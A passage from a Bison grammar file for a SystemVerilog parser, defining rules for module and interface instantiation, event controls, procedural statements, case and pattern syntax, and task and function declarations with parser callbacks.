instName { INSTPREP($1,1,0); } strengthSpecE parameter_value_assignmentE { INSTPREP($1,0,1); } instnameList ';'
{ INSTDONE(); }
// // IEEE: interface_identifier' .' modport_identifier list_of_interface_identifiers
| instName { INSTPREP($1,1,0); } '.' id {INSTPREP($1,0,0);} mpInstnameList ';'
{ INSTDONE(); }
;
instName<str>:
gateKwd { $<fl>$=$<fl>1; $$=$1; }
// // id is-a: interface_identifier
// // or program_identifier
// // or udp_identifier
// // or module_identifier
| id { $<fl>$=$<fl>1; $$=$1; }
;
mpInstnameList: // Similar to instnameList, but for modport instantiations which have no parenthesis
mpInstnameParen { }
| mpInstnameList ',' mpInstnameParen { }
;
mpInstnameParen: // Similar to instnameParen, but for modport instantiations which have no parenthesis
mpInstname { PARSEP->endcellCb($<fl>1,""); }
;
mpInstname: // Similar to instname, but for modport instantiations which have no parenthesis
// // id is-a: interface_port_identifier (interface.modport)
id instRangeListE { PARSEP->instantCb($<fl>1, GRAMMARP->m_cellMod, $1, $2); }
;
instnameList:
instnameParen { }
| instnameList ',' instnameParen { }
;
instnameParen:
instname cellpinList ')' { PARSEP->endcellCb($<fl>3,""); }
;
instname:
// // id is-a: hierarchical_instance (interface)
// // or instance_identifier (module)
// // or instance_identifier (program)
// // or udp_instance (udp)
id instRangeListE '(' { PARSEP->instantCb($<fl>1, GRAMMARP->m_cellMod, $1, $2); PINPARAMS(); }
| instRangeListE '(' { PARSEP->instantCb($<fl>2, GRAMMARP->m_cellMod, "", $1); PINPARAMS(); } // UDP
;
instRangeListE<str>:
/* empty */ { $$ = ""; }
| instRangeList { $<fl>$=$<fl>1; $$ = $1; }
;
instRangeList<str>:
instRange { $<fl>$=$<fl>1; $$ = $1; }
| instRangeList instRange { $<fl>$=$<fl>1; $$ = $1+$2; }
;
instRange<str>:
'[' constExpr ']' { $<fl>$=$<fl>1; $$ = "["+$2+"]"; }
| '[' constExpr ':' constExpr ']' { $<fl>$=$<fl>1; $$ = "["+$2+":"+$4+"]"; }
;
cellpinList:
{ VARRESET_LIST(""); } cellpinItList { VARRESET_NONLIST(""); GRAMMARP->m_withinPin = false; }
;
cellpinItList: // IEEE: list_of_port_connections + list_of_parameter_assignmente
{ GRAMMARP->m_portNextNetName.clear(); } cellpinItemE { }
| cellpinItList ',' cellpinItemE { }
;
cellpinItemE: // IEEE: named_port_connection + named_parameter_assignment + empty
/* empty: ',,' is legal */ { PINNUMINC(); } /*PINDONE(yylval.fl,"",""); <- No, as then () implies a pin*/
| yP_DOTSTAR { PINDONE($<fl>1,"*","*");PINNUMINC(); }
| '.' idSVKwd { PINDONE($<fl>1,$2,$2); PINNUMINC(); }
| '.' idAny { PINDONE($<fl>1,$2,$2); PINNUMINC(); }
| '.' idAny '(' ')' { PINDONE($<fl>1,$2,""); PINNUMINC(); }
// // mintypmax is expanded here, as it might be a UDP or gate primitive
// // For checkers, this needs to not just expr, but include events + properties
| '.' idAny '(' pev_expr ')' { PINDONE($<fl>1,$2,$4); PINNUMINC(); }
| '.' idAny '(' pev_expr ':' expr ')' { PINDONE($<fl>1,$2,$4); PINNUMINC(); }
| '.' idAny '(' pev_expr ':' expr ':' expr ')' { PINDONE($<fl>1,$2,$4); PINNUMINC(); }
// // For parameters
| '.' idAny '(' data_type ')' { PINDONE($<fl>1,$2,$4); PINNUMINC(); }
// // For parameters
| data_type { PINDONE($<fl>1,"",$1); PINNUMINC(); }
//
| expr { PINDONE($<fl>1,"",$1); PINNUMINC(); }
| expr ':' expr { PINDONE($<fl>1,"",$1); PINNUMINC(); }
| expr ':' expr ':' expr { PINDONE($<fl>1,"",$1); PINNUMINC(); }
;
//************************************************
// EventControl lists
event_control: // ==IEEE: event_control
'@' '(' event_expression ')' { }
| '@' '*' { }
| '@' '(' '*' ')' { }
// // IEEE: hierarchical_event_identifier
| '@' idClassSel/*event_id or ps_or_hierarchical_sequence_identifier*/ { }
// // IEEE: ps_or_hierarchical_sequence_identifier
// // sequence_instance without parens matches idClassSel above.
// // Ambiguity: "'@' sequence (-for-sequence" versus expr:delay_or_event_controlE "'@' id (-for-expr
// // For now we avoid this, as it's very unlikely someone would mix
// // 1995 delay with a sequence with parameters.
// // Alternatively split this out of event_control, and delay_or_event_controlE
// // and anywhere delay_or_event_controlE is called allow two expressions
;
event_expression: // IEEE: event_expression - split over several
// // ',' rules aren't valid in port lists - ev_expr is there.
// // Also eliminates left recursion to appease conflicts
ev_expr { }
| event_expression ',' ev_expr %prec yOR { } /* Verilog 2001 */
;
senitemEdge<str>: // IEEE: part of event_expression
// // Also called by pev_expr
yPOSEDGE expr { $<fl>$=$<fl>1; $$=$1+" "+$2; }
| yPOSEDGE expr yIFF expr { $<fl>$=$<fl>1; $$=$1+" "+$2+" iff "+$4; }
| yNEGEDGE expr { $<fl>$=$<fl>1; $$=$1+" "+$2; }
| yNEGEDGE expr yIFF expr { $<fl>$=$<fl>1; $$=$1+" "+$2+" iff "+$4; }
| yEDGE expr { $<fl>$=$<fl>1; $$=$1+" "+$2; NEED_S09($<fl>1,"edge"); }
| yEDGE expr yIFF expr { $<fl>$=$<fl>1; $$=$1+" "+$2+" iff "+$4; NEED_S09($<fl>1,"edge"); }
;
//************************************************
// Statements
stmtBlock: // IEEE: statement + seq_block + par_block
stmt { }
;
seq_block: // ==IEEE: seq_block
// // IEEE doesn't allow declarations in unnamed blocks, but several simulators do.
seq_blockFront blockDeclStmtList yEND endLabelE { PARSEP->symPopScope(VAstType::BLOCK); }
| seq_blockFront /**/ yEND endLabelE { PARSEP->symPopScope(VAstType::BLOCK); }
;
par_block: // ==IEEE: par_block
par_blockFront blockDeclStmtList yJOIN endLabelE { PARSEP->symPopScope(VAstType::FORK); }
| par_blockFront /**/ yJOIN endLabelE { PARSEP->symPopScope(VAstType::FORK); }
;
seq_blockFront: // IEEE: part of seq_block
yBEGIN { PARSEP->symPushNewAnon(VAstType::BLOCK); }
| yBEGIN ':' idAny/*new-block_identifier*/ { PARSEP->symPushNew(VAstType::BLOCK,$1); }
;
par_blockFront: // IEEE: part of par_block
yFORK { PARSEP->symPushNewAnon(VAstType::FORK); }
| yFORK ':' idAny/*new-block_identifier*/ { PARSEP->symPushNew(VAstType::FORK,$1); }
;
blockDeclStmtList: // IEEE: { block_item_declaration } { statement or null }
// // The spec seems to suggest a empty declaration isn't ok, but most simulators take it
block_item_declarationList { }
| block_item_declarationList stmtList { }
| stmtList { }
;
block_item_declarationList: // IEEE: [ block_item_declaration ]
block_item_declaration { }
| block_item_declarationList block_item_declaration { }
;
block_item_declaration: // ==IEEE: block_item_declaration
data_declaration { }
| local_parameter_declaration ';' { }
| parameter_declaration ';' { }
| overload_declaration { }
| let_declaration { }
;
stmtList:
stmtBlock { }
| stmtList stmtBlock { }
;
stmt: // IEEE: statement_or_null == function_statement_or_null
statement_item { }
// // S05 block creation rule
| id/*block_identifier*/ ':' statement_item { }
// // from _or_null
| ';' { }
;
statement_item: // IEEE: statement_item
// // IEEE: operator_assignment
foperator_assignment ';' { }
//
// // IEEE: blocking_assignment
// // 1800-2009 restricts LHS of assignment to new to not have a range
// // This is ignored to avoid conflicts
| fexprLvalue '=' class_new ';' { }
| fexprLvalue '=' dynamic_array_new ';' { }
//
// // IEEE: nonblocking_assignment
| fexprLvalue yP_LTE delay_or_event_controlE expr ';' { }
//
// // IEEE: procedural_continuous_assignment
| yASSIGN expr '=' delay_or_event_controlE expr ';' { }
| yDEASSIGN variable_lvalue ';' { }
| yFORCE expr '=' expr ';' { }
| yRELEASE variable_lvalue ';' { }
//
// // IEEE: case_statement
| unique_priorityE caseStart caseAttrE case_itemListE yENDCASE { }
| unique_priorityE caseStart caseAttrE yMATCHES case_patternListE yENDCASE { }
| unique_priorityE caseStart caseAttrE yINSIDE case_insideListE yENDCASE { }
//
// // IEEE: conditional_statement
| unique_priorityE yIF '(' expr ')' stmtBlock %prec prLOWER_THAN_ELSE { }
| unique_priorityE yIF '(' expr ')' stmtBlock yELSE stmtBlock { }
//
| finc_or_dec_expression ';' { }
// // IEEE: inc_or_dec_expression
// // Below under expr
//
// // IEEE: subroutine_call_statement
| yVOID yP_TICK '(' function_subroutine_callNoMethod ')' ';' { }
| yVOID yP_TICK '(' expr '.' function_subroutine_callNoMethod ')' ';' { }
// // Expr included here to resolve our not knowing what is a method call
// // Expr here must result in a subroutine_call
| task_subroutine_callNoMethod ';' { }
| fexpr '.' array_methodNoRoot ';' { }
| fexpr '.' task_subroutine_callNoMethod ';' { }
| fexprScope ';' { }
// // Not here in IEEE; from class_constructor_declaration
// // Because we've joined class_constructor_declaration into generic functions
// // Way over-permissive;
// // IEEE: [ ySUPER '.' yNEW [ '(' list_of_arguments ')' ] ';' ]
| fexpr '.' class_new ';' { }
//
// // IEEE: disable_statement
| yDISABLE hierarchical_identifier/*task_or_block*/ ';' { }
| yDISABLE yFORK ';' { }
// // IEEE: event_trigger
| yP_MINUSGT hierarchical_identifier/*event*/ ';' { }
| yP_MINUSGTGT delay_or_event_controlE hierarchical_identifier/*event*/ ';' { }
// // IEEE: loop_statement
| yFOREVER stmtBlock { }
| yREPEAT '(' expr ')' stmtBlock { }
| yWHILE '(' expr ')' stmtBlock { }
// // for's first ';' is in for_initalization
| yFOR '(' for_initialization expr ';' for_stepE ')' stmtBlock
{ }
| yFOR '(' for_initialization ';' for_stepE ')' stmtBlock
{ }
| yDO stmtBlock yWHILE '(' expr ')' ';' { }
// // IEEE says array_identifier here, but dotted accepted in VMM and 1800-2009
| yFOREACH '(' idClassForeach/*array_id[loop_variables]*/ ')' stmt { }
//
// // IEEE: jump_statement
| yRETURN ';' { }
| yRETURN expr ';' { }
| yBREAK ';' { }
| yCONTINUE ';' { }
//
| par_block { }
// // IEEE: procedural_timing_control_statement + procedural_timing_control
| delay_control stmtBlock { }
| event_control stmtBlock { }
| cycle_delay stmtBlock { }
//
| seq_block { }
//
// // IEEE: wait_statement
| yWAIT '(' expr ')' stmtBlock { }
| yWAIT yFORK ';' { }
| yWAIT_ORDER '(' hierarchical_identifierList ')' action_block { }
//
// // IEEE: procedural_assertion_statement
| procedural_assertion_statement { }
//
// // IEEE: clocking_drive ';'
// // clockvar_expression made to fexprLvalue to prevent reduce conflict
// // Note LTE in this context is highest precedence, so first on left wins
| fexprLvalue yP_LTE cycle_delay expr ';' { }
//
| randsequence_statement { }
//
// // IEEE: randcase_statement
| yRANDCASE case_itemList yENDCASE { }
//
| expect_property_statement { }
//
| error ';' { }
;
operator_assignment: // IEEE: operator_assignment
~f~exprLvalue '=' delay_or_event_controlE expr { }
| ~f~exprLvalue yP_PLUSEQ expr { }
| ~f~exprLvalue yP_MINUSEQ expr { }
| ~f~exprLvalue yP_TIMESEQ expr { }
| ~f~exprLvalue yP_DIVEQ expr { }
| ~f~exprLvalue yP_MODEQ expr { }
| ~f~exprLvalue yP_ANDEQ expr { }
| ~f~exprLvalue yP_OREQ expr { }
| ~f~exprLvalue yP_XOREQ expr { }
| ~f~exprLvalue yP_SLEFTEQ expr { }
| ~f~exprLvalue yP_SRIGHTEQ expr { }
| ~f~exprLvalue yP_SSRIGHTEQ expr { }
;
foperator_assignment<str>: // IEEE: operator_assignment (for first part of expression)
BISONPRE_COPY(operator_assignment,{s/~f~/f/g}) // {copied}
;
inc_or_dec_expression<str>: // ==IEEE: inc_or_dec_expression
// // Need fexprScope instead of variable_lvalue to prevent conflict
~l~exprScope yP_PLUSPLUS { $<fl>$=$<fl>1; $$ = $1+$2; }
| ~l~exprScope yP_MINUSMINUS { $<fl>$=$<fl>1; $$ = $1+$2; }
// // Need expr instead of variable_lvalue to prevent conflict
| yP_PLUSPLUS expr { $<fl>$=$<fl>1; $$ = $1+$2; }
| yP_MINUSMINUS expr { $<fl>$=$<fl>1; $$ = $1+$2; }
;
finc_or_dec_expression<str>: // IEEE: inc_or_dec_expression (for first part of expression)
BISONPRE_COPY(inc_or_dec_expression,{s/~l~/f/g}) // {copied}
;
sinc_or_dec_expression<str>: // IEEE: inc_or_dec_expression (for sequence_expression)
BISONPRE_COPY(inc_or_dec_expression,{s/~l~/s/g}) // {copied}
;
pinc_or_dec_expression<str>: // IEEE: inc_or_dec_expression (for property_expression)
BISONPRE_COPY(inc_or_dec_expression,{s/~l~/p/g}) // {copied}
;
ev_inc_or_dec_expression<str>: // IEEE: inc_or_dec_expression (for ev_expr)
BISONPRE_COPY(inc_or_dec_expression,{s/~l~/ev_/g}) // {copied}
;
pev_inc_or_dec_expression<str>: // IEEE: inc_or_dec_expression (for pev_expr)
BISONPRE_COPY(inc_or_dec_expression,{s/~l~/pev_/g}) // {copied}
;
class_new<str>: // ==IEEE: class_new
// // Special precence so (...) doesn't match expr
yNEW__ETC { $<fl>$=$<fl>1; $$ = $1; }
| yNEW__ETC expr { $<fl>$=$<fl>1; $$ = $1+" "+$2; }
// // Grammer abiguity; we assume "new (x)" the () are a argument, not expr
| yNEW__PAREN '(' list_of_argumentsE ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
;
dynamic_array_new<str>: // ==IEEE: dynamic_array_new
yNEW__ETC '[' expr ']' { $<fl>$=$<fl>1; $$=$1+"["+$3+"]"; }
| yNEW__ETC '[' expr ']' '(' expr ')' { $<fl>$=$<fl>1; $$=$1+"["+$3+"]("+$6+")"; }
;
//************************************************
// Case/If
unique_priorityE: // IEEE: unique_priority + empty
/*empty*/ { }
| yPRIORITY { }
| yUNIQUE { }
| yUNIQUE0 { NEED_S09($<fl>1, "unique0"); }
;
action_block: // ==IEEE: action_block
stmt %prec prLOWER_THAN_ELSE { }
| stmt yELSE stmt { }
| yELSE stmt { }
;
caseStart: // IEEE: part of case_statement
yCASE '(' expr ')' { }
| yCASEX '(' expr ')' { }
| yCASEZ '(' expr ')' { }
;
caseAttrE:
/*empty*/ { }
;
case_patternListE: // IEEE: case_pattern_item
// &&& is part of expr so aliases to case_itemList
case_itemListE { }
;
case_itemListE: // IEEE: [ { case_item } ]
/* empty */ { }
| case_itemList { }
;
case_insideListE: // IEEE: [ { case_inside_item } ]
/* empty */ { }
| case_inside_itemList { }
;
case_itemList: // IEEE: { case_item + ... }
caseCondList ':' stmtBlock { }
| yDEFAULT ':' stmtBlock { }
| yDEFAULT stmtBlock { }
| case_itemList caseCondList ':' stmtBlock { }
| case_itemList yDEFAULT stmtBlock { }
| case_itemList yDEFAULT ':' stmtBlock { }
;
case_inside_itemList: // IEEE: { case_inside_item + open_range_list ... }
open_range_list ':' stmtBlock { }
| yDEFAULT ':' stmtBlock { }
| yDEFAULT stmtBlock { }
| case_inside_itemList open_range_list ':' stmtBlock { }
| case_inside_itemList yDEFAULT stmtBlock { }
| case_inside_itemList yDEFAULT ':' stmtBlock { }
;
open_range_list: // ==IEEE: open_range_list + open_value_range
open_value_range { }
| open_range_list ',' open_value_range { }
;
open_value_range: // ==IEEE: open_value_range
value_range { }
;
value_range: // ==IEEE: value_range
expr { }
| '[' expr ':' expr ']' { }
;
covergroup_value_range: // ==IEEE-2012: covergroup_value_range
cgexpr { }
| '[' cgexpr ':' cgexpr ']' { }
;
caseCondList: // IEEE: part of case_item
expr { }
| caseCondList ',' expr { }
;
patternNoExpr<str>: // IEEE: pattern **Excluding Expr*
'.' id/*variable*/ { $<fl>$=$<fl>1; $$="."+$2; }
| yP_DOTSTAR { $<fl>$=$<fl>1; $$=".*"; }
// // IEEE: "expr" excluded; expand in callers
// // "yTAGGED id [expr]" Already part of expr
| yTAGGED id/*member_identifier*/ patternNoExpr { $<fl>$=$<fl>1; $$=" tagged "+$2+" "+$3; }
// // "yP_TICKBRA patternList '}'" part of expr under assignment_pattern
;
patternList<str>: // IEEE: part of pattern
patternOne { $<fl>$=$<fl>1; $$=$1; }
| patternList ',' patternOne { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
patternOne<str>: // IEEE: part of pattern
expr { $<fl>$=$<fl>1; $$=$1; }
| expr '{' argsExprList '}' { $<fl>$=$<fl>1; $$=$1; }
| patternNoExpr { $<fl>$=$<fl>1; $$=$1; }
;
patternMemberList<str>: // IEEE: part of pattern and assignment_pattern
patternKey ':' expr { $<fl>$=$<fl>1; $$=$1+" : "+$2; }
| patternKey ':' patternNoExpr { $<fl>$=$<fl>1; $$=$1+" : "+$2; }
| patternMemberList ',' patternKey ':' expr { $<fl>$=$<fl>1; $$=$1+","+$3+":"+$4; }
| patternMemberList ',' patternKey ':' patternNoExpr { $<fl>$=$<fl>1; $$=$1+","+$3+":"+$4; }
;
patternKey<str>: // IEEE: merge structure_pattern_key, array_pattern_key, assignment_pattern_key
// // IEEE: structure_pattern_key
// // id/*member*/ is part of constExpr below
constExpr { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: assignment_pattern_key
| yDEFAULT { $<fl>$=$<fl>1; $$=$1; }
| simple_type { $<fl>$=$<fl>1; $$=$1; }
// // simple_type reference looks like constExpr
;
assignment_pattern<str>: // ==IEEE: assignment_pattern
// This doesn't match the text of the spec. I think a : is missing, or example code needed
// yP_TICKBRA constExpr exprList '}' { $$="'{"+$2+" "+$3"}"; }
// // "'{ const_expression }" is same as patternList with one entry
// // From patternNoExpr
// // also IEEE: "''{' expression { ',' expression } '}'"
// // matches since patternList includes expr
yP_TICKBRA patternList '}' { $<fl>$=$<fl>1; $$="'{"+$2+"}"; }
// // From patternNoExpr
// // also IEEE "''{' structure_pattern_key ':' ...
// // also IEEE "''{' array_pattern_key ':' ...
| yP_TICKBRA patternMemberList '}' { $<fl>$=$<fl>1; $$="'{"+$2+"}"; }
// // IEEE: Not in grammar, but in VMM
| yP_TICKBRA '}' { $<fl>$=$<fl>1; $$="'{}"; }
;
// "datatype id = x {, id = x }" | "yaId = x {, id=x}" is legal
for_initialization: // ==IEEE: for_initialization + for_variable_declaration + extra terminating ";"
// // IEEE: for_variable_declaration
for_initializationItemList ';' { }
// // IEEE: 1800-2017 empty initialization
| ';' { }
;
for_initializationItemList: // IEEE: [for_variable_declaration...]
for_initializationItem { }
| for_initializationItemList ',' for_initializationItem { }
;
for_initializationItem: // IEEE: variable_assignment + for_variable_declaration
// // IEEE: for_variable_declaration
data_type idAny/*new*/ '=' expr { VARDTYPE($1); }
// // IEEE-2012:
| yVAR data_type idAny/*new*/ '=' expr { VARDTYPE($1); }
// // IEEE: variable_assignment
| variable_lvalue '=' expr { }
;
for_stepE: // IEEE: for_step + empty
/* empty */ { }
| for_step { }
;
for_step: // IEEE: for_step
for_step_assignment { }
| for_step ',' for_step_assignment { }
;
for_step_assignment: // ==IEEE: for_step_assignment
operator_assignment { }
//
| inc_or_dec_expression { }
// // IEEE: subroutine_call
| function_subroutine_callNoMethod { }
// // method_call:array_method requires a '.'
| expr '.' array_methodNoRoot { }
| exprScope { }
;
loop_variables<str>: // ==IEEE: loop_variables
id { $<fl>$=$<fl>1; $$=$1; }
| loop_variables ',' id { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
//************************************************
// Functions/tasks
funcRef<str>: // IEEE: part of tf_call
// // package_scope/hierarchical_... is part of expr, so just need ID
// // making-a id-is-a
// // ----------------- ------------------
// // tf_call tf_identifier expr (list_of_arguments)
// // method_call(post .) function_identifier expr (list_of_arguments)
// // property_instance property_identifier property_actual_arg
// // sequence_instance sequence_identifier sequence_actual_arg
// // let_expression let_identifier let_actual_arg
//
id '(' pev_list_of_argumentsE ')' { $<fl>$=$<fl>1; $$=$1+"("+$3+")"; }
| package_scopeIdFollows id '(' pev_list_of_argumentsE ')' { $<fl>$=$<fl>2; $$=$1+$2+"("+$4+")"; }
| class_scope_id '(' pev_list_of_argumentsE ')' { $<fl>$=$<fl>1; $$=$<str>1+"("+$3+")"; }
;
task_subroutine_callNoMethod<str>: // function_subroutine_callNoMethod (as task)
// // IEEE: tf_call
funcRef { $<fl>$=$<fl>1; $$=$1; }
| funcRef yWITH__PAREN '(' expr ')' { $<fl>$=$<fl>1; $$=$1+" "+$2+$3+$4+$5; }
| system_t_call { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: method_call requires a "." so is in expr
// // IEEE: ['std::'] not needed, as normal std package resolution will find it
// // IEEE: randomize_call
// // We implement randomize as a normal funcRef, since randomize isn't a keyword
// // Note yNULL is already part of expressions, so they come for free
| funcRef yWITH__CUR constraint_block { $<fl>$=$<fl>1; $$=$1+" with..."; }
;
function_subroutine_callNoMethod<str>: // IEEE: function_subroutine_call (as function)
// // IEEE: tf_call
funcRef { $<fl>$=$<fl>1; $$=$1; }
| funcRef yWITH__PAREN '(' expr ')' { $<fl>$=$<fl>1; $$=$1+" "+$2+$3+$4+$5; }
| system_f_call { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: method_call requires a "." so is in expr
// // IEEE: ['std::'] not needed, as normal std package resolution will find it
// // IEEE: randomize_call
// // We implement randomize as a normal funcRef, since randomize isn't a keyword
// // Note yNULL is already part of expressions, so they come for free
| funcRef yWITH__CUR constraint_block { $<fl>$=$<fl>1; $$=$1+" with..."; }
;
system_t_call<str>: // IEEE: system_tf_call (as task)
system_f_call { $<fl>$=$<fl>1; $$ = $1; }
;
system_f_call<str>: // IEEE: system_tf_call (as func)
ygenSYSCALL parenE { $<fl>$=$<fl>1; $$ = $1; }
// // Allow list of data_type to support "x,,,y"
| ygenSYSCALL '(' exprOrDataTypeList ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
// // Standard doesn't explicity list system calls
// // But these match elaboration calls in 1800-2009
| yD_FATAL parenE { $<fl>$=$<fl>1; $$ = $1; }
| yD_FATAL '(' exprOrDataTypeList ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
| yD_ERROR parenE { $<fl>$=$<fl>1; $$ = $1; }
| yD_ERROR '(' exprOrDataTypeList ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
| yD_WARNING parenE { $<fl>$=$<fl>1; $$ = $1; }
| yD_WARNING '(' exprOrDataTypeList ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
| yD_INFO parenE { $<fl>$=$<fl>1; $$ = $1; }
| yD_INFO '(' exprOrDataTypeList ')' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; }
;
elaboration_system_task<str>: // IEEE: elaboration_system_task (1800-2009)
// // $fatal first argument is exit number, must be constant
yD_FATAL parenE ';' { $<fl>$=$<fl>1; $$ = $1; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_FATAL '(' exprOrDataTypeList ')' ';' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_ERROR parenE ';' { $<fl>$=$<fl>1; $$ = $1; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_ERROR '(' exprOrDataTypeList ')' ';' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_WARNING parenE ';' { $<fl>$=$<fl>1; $$ = $1; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_WARNING '(' exprOrDataTypeList ')' ';' {$<fl>$=$<fl>1; $$ = $1+"("+$3+")"; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_INFO parenE ';' { $<fl>$=$<fl>1; $$ = $1; NEED_S09($<fl>1,"elaboration system tasks"); }
| yD_INFO '(' exprOrDataTypeList ')' ';' { $<fl>$=$<fl>1; $$ = $1+"("+$3+")"; NEED_S09($<fl>1,"elaboration system tasks"); }
;
property_actual_arg<str>: // ==IEEE: property_actual_arg
// // IEEE: property_expr
// // IEEE: sequence_actual_arg
pev_expr { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: sequence_expr
// // property_expr already includes sequence_expr
;
task<fl>:
yTASK__ETC { $<fl>$=$<fl>1; }
| yTASK__aPUREV { $<fl>$=$<fl>1; }
;
task_declaration: // IEEE: task_declaration
yTASK__ETC lifetimeE taskId tfGuts yENDTASK endLabelE
{ PARSEP->endtaskfuncCb($<fl>5,$5);
PARSEP->symPopScope(VAstType::TASK); }
| yTASK__aPUREV lifetimeE taskId tfGutsPureV
{ PARSEP->endtaskfuncCb($<fl>1,"endtask");
PARSEP->symPopScope(VAstType::TASK); }
;
task_prototype: // ==IEEE: task_prototype
// // IEEE: has '(' tf_port_list ')'
// // However the () should be optional for OVA
task taskId '(' tf_port_listE ')' { PARSEP->symPopScope(VAstType::TASK); PARSEP->endtaskfuncCb($<fl>1,"endtask"); }
| task taskId { PARSEP->symPopScope(VAstType::TASK); PARSEP->endtaskfuncCb($<fl>1,"endtask"); }
;
function<fl>:
yFUNCTION__ETC { $<fl>$=$<fl>1; }
| yFUNCTION__aPUREV { $<fl>$=$<fl>1; }
;
function_declaration: // IEEE: function_declaration + function_body_declaration
yFUNCTION__ETC lifetimeE funcId tfGuts yENDFUNCTION endLabelE
{ PARSEP->endtaskfuncCb($<fl>5,$5);
PARSEP->symPopScope(VAstType::FUNCTION); }
| yFUNCTION__ETC lifetimeE funcIdNew tfGuts yENDFUNCTION endLabelE
{ PARSEP->endtaskfuncCb($<fl>5,$5);
PARSEP->symPopScope(VAstType::FUNCTION); }
| yFUNCTION__aPUREV lifetimeE funcId tfGutsPureV
{ PARSEP->endtaskfuncCb($<fl>1,"endfunction");
PARSEP->symPopScope(VAstType::FUNCTION); }
| yFUNCTION__aPUREV lifetimeE funcIdNew tfGutsPureV
{ PARSEP->endtaskfuncCb($<fl>1,"endfunction");
PARSEP->symPopScope(VAstType::FUNCTION); }
;
function_prototype: // IEEE: function_prototype
// // IEEE: has '(' tf_port_list ')'
// // However the () should be optional for OVA
function funcId '(' tf_port_listE ')' { PARSEP->symPopScope(VAstType::FUNCTION); PARSEP->endtaskfuncCb($<fl>1,"endfunction"); }
| function funcId { PARSEP->symPopScope(VAstType::FUNCTION); PARSEP->endtaskfuncCb($<fl>1,"endfunction"); }
;
class_constructor_prototype: // ==IEEE: class_constructor_prototype
function funcIdNew '(' tf_port_listE ')' ';' { PARSEP->symPopScope(VAstType::FUNCTION); PARSEP->endtaskfuncCb($<fl>1,"endfunction"); }
| function funcIdNew ';' { PARSEP->symPopScope(VAstType::FUNCTION); PARSEP->endtaskfuncCb($<fl>1,"endfunction"); }
;
method_prototype:
task_prototype { }
| function_prototype { }
;
lifetimeE: // IEEE: [lifetime]
/* empty */ { }
| lifetime { }
;
lifetime: // ==IEEE: lifetime
// // Note lifetime used by members is instead under memberQual
ySTATIC__ETC { }
| yAUTOMATIC { }
;
taskId:
tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::TASK, $<str>1, $<scp>1);
PARSEP->taskCb($<fl>1,"task",$<str>1); }
;
funcId: // IEEE: function_data_type_or_implicit + part of function_body_declaration
// // IEEE: function_data_type_or_implicit must be expanded here to prevent conflict
// // function_data_type expanded here to prevent conflicts with implicit_type:empty vs data_type:ID
/**/ tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, $<str>1, $<scp>1);
PARSEP->functionCb($<fl>1,"function",$<str>1,""); }
| signingE rangeList tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, $<str>3, $<scp>3);
PARSEP->functionCb($<fl>3,"function",$<str>3,SPACED($1,$2)); }
| signing tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, $<str>2, $<scp>2);
PARSEP->functionCb($<fl>2,"function",$<str>2,$1); }
| yVOID tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, $<str>2, $<scp>2);
PARSEP->functionCb($<fl>2,"function",$<str>2,$1); }
| data_type tfIdScoped
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, $<str>2, $<scp>2);
PARSEP->functionCb($<fl>2,"function",$<str>2,$1); }
;
funcIdNew: // IEEE: from class_constructor_declaration
yNEW__ETC
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, "new", NULL);
PARSEP->functionCb($<fl>1,"function","new",""); }
| yNEW__PAREN
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, "new", NULL);
PARSEP->functionCb($<fl>1,"function","new",""); }
| class_scopeWithoutId yNEW__PAREN
{ PARSEP->symPushNewUnder(VAstType::FUNCTION, "new", $<scp>1);
PARSEP->functionCb($<fl>2,"function","new",""); }
;
tfIdScoped<str_scp>: // IEEE: part of function_body_declaration/task_body_declaration
// // IEEE: [ interface_identifier '.' | class_scope ] function_identifier
id { $<fl>$=$<fl>1; $<scp>$=NULL; $<str>$ = $1; }
| id/*interface_identifier*/ '.' id { $<fl>$=$<fl>1; $<scp>$=NULL; $<str>$ = $1+"."+$2; }
| class_scope_id { $<fl>$=$<fl>1; $<scp>$=$<scp>1; $<str>$ = $<str>1; }
;
tfGuts:
'(' tf_port_listE ')' ';' tfBodyE { }
| ';' tfBodyE { }
;
tfGutsPureV:
'(' tf_port_listE ')' ';' { }
| ';' { }
;
tfBodyE: // IEEE: part of function_body_declaration/task_body_declaration
/* empty */ { }
| tf_item_declarationList { }
| tf_item_declarationList stmtList { }
| stmtList { }
;
function_data_type<str>: // IEEE: function_data_type
yVOID { $$ = $1; }
| data_type { $$ = $1; }
;
tf_item_declarationList:
tf_item_declaration { }
| tf_item_declarationList tf_item_declaration { }
;
tf_item_declaration: // ==IEEE: tf_item_declaration
block_item_declaration { }
| tf_port_declaration { }
;
tf_port_listE: // IEEE: tf_port_list + empty
// // Empty covered by tf_port_item
{ VARRESET_LIST(""); VARIO("input"); }
tf_port_listList { VARRESET_NONLIST(""); }
;
tf_port_listList: // IEEE: part of tf_port_list
tf_port_item { }
| tf_port_listList ',' tf_port_item { }
;
tf_port_item: // ==IEEE: tf_port_item
// // We split tf_port_item into the type and assignment as don't know what follows a comma
/* empty */ { PINNUMINC(); } // For example a ",," port
| tf_port_itemFront tf_port_itemAssignment { PINNUMINC(); }
